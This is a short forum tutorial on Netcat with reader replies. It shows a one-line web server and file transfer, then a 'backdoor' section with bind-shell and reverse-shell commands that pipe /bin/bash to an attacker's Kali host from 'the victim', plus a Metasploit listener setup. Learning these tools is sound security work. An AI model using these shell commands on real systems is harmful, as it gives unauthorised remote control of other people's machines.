Getting started with Netcat


Hello Hackers !

Welcome to this my new tutorial ( or at least sharing some tips ) . Here you will learn how to use Netcat and what is Netcat.

Netcat is the swiss army knife for hacker and network administrator. If you want to test a simple server/client app that you programmed in your favorite language , try Netcat !

Simple Web server

Here is how you can set up a simple web server

Juste create a simple html page

        <title>Simple Web Server</title>
        <h1>It Works</h1>

Then run netcat

cat index.html | nc -lvp 80

You will get the following picture

Cool right ? :smile:

Data Transfert

Something cool about Netcat is data transfer. If you want to send a text file through your network just use Netcat !

On my Kali linux machine I use :

nc -lvp 1234 > test.txt

on another machine with Netcat installed :

nc ip_of_my_kali_linux 1234 < test.txt

and you will see the file in your kali linux machine :smile:

Backdoor me my Lord

Now let’s use Netcat for a simple Backdoor !

There is two version of Netcat one with the “-e” option and one without it

For the first version you can run a backdoor with this command

nc -lvp 1234 -e /bin/bash

connect to your backdoor with netcat

Now if your Netcat version who doesn’t have -e you have to use a backpipe

create a backpipe

mknod backpipe p

and now the tricky Netcat command to have a shell

/bin/bash 0<backpipe | nc -lvp 1234 1>backpipe

Now on your kali machine

If the victim is behind a nat those commands won’t work because we use Bind shell where you the attacker connect to the victim now we will use a reverse shell

run Netcat on your Kali machine listening for a connection

nc -lvp 1234

and on the victim

/bin/bash 0<backpipe | nc ip_of_your_kali_linux 1234 1>backpipe

And now you have a reverse shell !
You can use Metasploit and set up a listener

use exploit/multi/handler
set payload linux/x64/reverse_shell_tcp 
set payload linux/x86/reverse_shell_tcp
exploit -j

Hope you like this short tutorial !
See you soon for another tutorial


Loved the tut! Thanks mate. :+1: :+1: :+1:

(Command-Line Ninja) #3

Nice tutorial! I would suggest renaming it to “Getting started with Netcat” as it explains it a bit better.

(Ne0_) #4

Wow, great tutorial!
It really lets you get a grip on netcat in a short amount of time.

Thank you for this tutorial :slight_smile:


Yup I will do that :slight_smile:


There are two versions of netcat:
netcat-openbsd(without “-e” function)
netcat-traditional(with “-e” function)

to use a specific one use:


you can also read the man pages of each one

man nc.openbsd
man nc.traditional

(system) #7

This topic was automatically closed after 30 days. New replies are no longer allowed.